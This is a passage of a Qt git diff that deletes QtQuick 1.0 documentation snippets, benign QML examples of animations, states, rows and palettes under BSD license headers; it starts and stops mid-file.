HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Item { - width: 300; height: 300 - - Rectangle { - id: rect - width: 150; height: 100; anchors.centerIn: parent - color: "red" - smooth: true - - states: State { - name: "rotated" - PropertyChanges { target: rect; rotation: 180 } - } - - transitions: Transition { - RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } - } - } - - MouseArea { anchors.fill: parent; onClicked: rect.state = "rotated" } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/row.qml b/doc/src/snippets/qtquick1/row.qml deleted file mode 100644 index 268444a84d..0000000000 --- a/doc/src/snippets/qtquick1/row.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 320; height: 110 - color: "#c0c0c0" - - Row { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - - spacing: 5 - - Rectangle { width: 100; height: 100; radius: 20.0 - color: "#024c1c" } - Rectangle { width: 100; height: 100; radius: 20.0 - color: "#42a51c" } - Rectangle { width: 100; height: 100; radius: 20.0 - color: "white" } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/row/row.qml b/doc/src/snippets/qtquick1/row/row.qml deleted file mode 100644 index bb54ff7c27..0000000000 --- a/doc/src/snippets/qtquick1/row/row.qml +++ /dev/null @@ -1,50 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Row { - spacing: 2 - Rectangle { color: "red"; width: 50; height: 50 } - Rectangle { color: "green"; width: 20; height: 50 } - Rectangle { color: "blue"; width: 50; height: 20 } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/script.js b/doc/src/snippets/qtquick1/script.js deleted file mode 100644 index f55dee3507..0000000000 --- a/doc/src/snippets/qtquick1/script.js +++ /dev/null @@ -1,4 +0,0 @@ -WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) -} diff --git a/doc/src/snippets/qtquick1/sequentialanimation.qml b/doc/src/snippets/qtquick1/sequentialanimation.qml deleted file mode 100644 index 8b4b524fa3..0000000000 --- a/doc/src/snippets/qtquick1/sequentialanimation.qml +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - SequentialAnimation { - running: true - NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 } - NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 } - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/smoothedanimation.qml b/doc/src/snippets/qtquick1/smoothedanimation.qml deleted file mode 100644 index b1d025ea9b..0000000000 --- a/doc/src/snippets/qtquick1/smoothedanimation.qml +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - width: 800; height: 600 - color: "blue" - - Rectangle { - width: 60; height: 60 - x: rect1.x - 5; y: rect1.y - 5 - color: "green" - - Behavior on x { SmoothedAnimation { velocity: 200 } } - Behavior on y { SmoothedAnimation { velocity: 200 } } - } - - Rectangle { - id: rect1 - width: 50; height: 50 - color: "red" - } - - focus: true - Keys.onRightPressed: rect1.x = rect1.x + 100 - Keys.onLeftPressed: rect1.x = rect1.x - 100 - Keys.onUpPressed: rect1.y = rect1.y - 100 - Keys.onDownPressed: rect1.y = rect1.y + 100 -} -//![0] diff --git a/doc/src/snippets/qtquick1/springanimation.qml b/doc/src/snippets/qtquick1/springanimation.qml deleted file mode 100644 index 2f2142d4e7..0000000000 --- a/doc/src/snippets/qtquick1/springanimation.qml +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Item { - width: 300; height: 300 - - Rectangle { - id: rect - width: 50; height: 50 - color: "red" - - Behavior on x { SpringAnimation { spring: 2; damping: 0.2 } } - Behavior on y { SpringAnimation { spring: 2; damping: 0.2 } } - } - - MouseArea { - anchors.fill: parent - onClicked: { - rect.x = mouse.x - rect.width/2 - rect.y = mouse.y - rect.height/2 - } - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/state-when.qml b/doc/src/snippets/qtquick1/state-when.qml deleted file mode 100644 index bf3828ee62..0000000000 --- a/doc/src/snippets/qtquick1/state-when.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 -//![0] -Rectangle { - id: myRect - width: 100; height: 100 - color: "red" - - MouseArea { id: mouseArea; anchors.fill: parent } - - states: State { - name: "hidden"; when: mouseArea.pressed - PropertyChanges { target: myRect; opacity: 0 } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/state.qml b/doc/src/snippets/qtquick1/state.qml deleted file mode 100644 index c924a769d7..0000000000 --- a/doc/src/snippets/qtquick1/state.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - id: myRect - width: 100; height: 100 - color: "black" - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: myRect.state == 'clicked' ? myRect.state = "" : myRect.state = 'clicked'; - } - - states: [ - State { - name: "clicked" - PropertyChanges { target: myRect; color: "red" } - } - ] -} -//![0] diff --git a/doc/src/snippets/qtquick1/states.qml b/doc/src/snippets/qtquick1/states.qml deleted file mode 100644 index 522437cdf6..0000000000 --- a/doc/src/snippets/qtquick1/states.qml +++ /dev/null @@ -1,121 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![document] -import QtQuick 1.0 - -//![parent begin] -Rectangle { -//![parent begin] - - id: screen - width: 400; height: 500 - - -Rectangle { - id: flag -} -Column { - spacing: 15 -//![signal states] -Rectangle { - id: signal - width: 200; height: 200 - state: "NORMAL" - - states: [ - State { - name: "NORMAL" - PropertyChanges { target: signal; color: "green"} - PropertyChanges { target: flag; state: "FLAG_DOWN"} - }, - State { - name: "CRITICAL" - PropertyChanges { target: signal; color: "red"} - PropertyChanges { target: flag; state: "FLAG_UP"} - } - ] -} -//![signal states] - -//![switch states] -Rectangle { - id: signalswitch - width: 75; height: 75 - color: "blue" - - MouseArea { - anchors.fill: parent - onClicked: { - if (signal.state == "NORMAL") - signal.state = "CRITICAL" - else - signal.state = "NORMAL" - } - } -} -//![switch states] - -//![when property] -Rectangle { - id: bell - width: 75; height: 75 - color: "yellow" - - states: State { - name: "RINGING" - when: (signal.state == "CRITICAL") - PropertyChanges {target: speaker; play: "RING!"} - } -} -//![when property] - -Text { - id: speaker - property alias play: speaker.text - text: "NORMAL" -} - -} // end of row - -//![parent end] -} -//![parent end] - -//![document] diff --git a/doc/src/snippets/qtquick1/states/statechangescript.qml b/doc/src/snippets/qtquick1/states/statechangescript.qml deleted file mode 100644 index f98242c420..0000000000 --- a/doc/src/snippets/qtquick1/states/statechangescript.qml +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { -//! [state and transition] -State { - name: "state1" - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - // ... -} -// ... -Transition { - to: "state1" - SequentialAnimation { - NumberAnimation { /* ... */ } - ScriptAction { scriptName: "myScript" } - NumberAnimation { /* ... */ } - } -} -//! [state and transition] -} diff --git a/doc/src/snippets/qtquick1/systempalette.qml b/doc/src/snippets/qtquick1/systempalette.qml deleted file mode 100644 index fb07a274fe..0000000000 --- a/doc/src/snippets/qtquick1/systempalette.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - SystemPalette { id: myPalette; colorGroup: SystemPalette.Active } - - width: 640; height: 480 - color: myPalette.window - - Text { - anchors.fill: parent - text: "Hello!"; color: myPalette.windowText - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/text/onLinkActivated.qml b/doc/src/snippets/qtquick1/text/onLinkActivated.qml deleted file mode 100644 index d3341d5997..0000000000 --- a/doc/src/snippets/qtquick1/text/onLinkActivated.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Rectangle { - width: 700; height: 400 - -//![0] - Text { - textFormat: Text.RichText - text: "The main website is at Nokia Qt DF." - onLinkActivated: console.log(link + " link activated") - } -//![0] - -} - diff --git a/doc/src/snippets/qtquick1/texthandling.qml b/doc/src/snippets/qtquick1/texthandling.qml deleted file mode 100644 index a1428f33dd..0000000000 --- a/doc/src/snippets/qtquick1/texthandling.qml +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** 